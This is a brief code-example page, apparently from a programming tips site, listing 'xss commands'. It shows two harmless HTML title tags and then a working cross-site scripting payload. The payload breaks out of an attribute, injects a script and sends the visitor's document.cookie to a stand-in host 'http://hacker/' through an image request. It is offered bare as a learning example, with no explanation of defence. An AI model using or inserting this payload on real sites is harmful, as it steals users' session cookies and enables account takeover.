Check out example codes for "xss commands". It will help you in understanding the concepts better.

Code Example 1

<title>Example document: %(title)</title>

Code Example 2

<title>Example document: XSS Doc</title>

Code Example 3

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

Learn ReactJs, React Native from akashmittal.com